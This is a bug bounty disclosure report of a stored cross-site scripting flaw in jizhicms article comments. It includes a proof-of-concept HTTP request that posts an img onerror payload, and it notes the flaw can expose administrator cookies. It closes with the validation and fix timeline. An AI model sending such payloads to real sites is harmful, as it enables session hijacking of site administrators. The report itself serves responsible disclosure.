Article comment storage XSS in cherry-toto/jizhicms

Valid

Reported on

Mar 31st 2022


#Description

The code does not filter the input content, resulting in the insertion of: ">< img SRC = 1 onerror = alert (1) >

The administrator views the comment list in the background and triggers XSS, which can be used to obtain the administrator cookie

Proof of Concept


POST /comment/index HTTP/1.1
Host: demo.jizhicms.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://demo.jizhicms.cn/user/preview/id/20/tid/2.html
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 91
Cookie: PHPSESSID=u30vdun5u485gqge0e15884sur; Hm_lvt_28b7e1bb62d753f91bda278a1e431656=1648705447; Hm_lpvt_28b7e1bb62d753f91bda278a1e431656=1648710642
Connection: close

star=0&tid=2&aid=20&zid=0&pid=0&body=%22%3E%3Cimg+src%3D1+onerror%3Dalert(1)%3E&ajax=1&go=1

Impact

The vulnerability to obtain administrator cookies

We are processing your report and will contact the cherry-toto/jizhicms team within 24 hours. a year ago
wind226 modified the report
a year ago
We have contacted a member of the cherry-toto/jizhicms team and are waiting to hear back a year ago
留恋风 validated this vulnerability a year ago
wind226 has been awarded the disclosure bounty
The fix bounty is now up for grabs
留恋风 marked this as fixed in 2.0 with commit b1c877 a year ago
The fix bounty has been dropped
This vulnerability will not receive a CVE
to join this conversation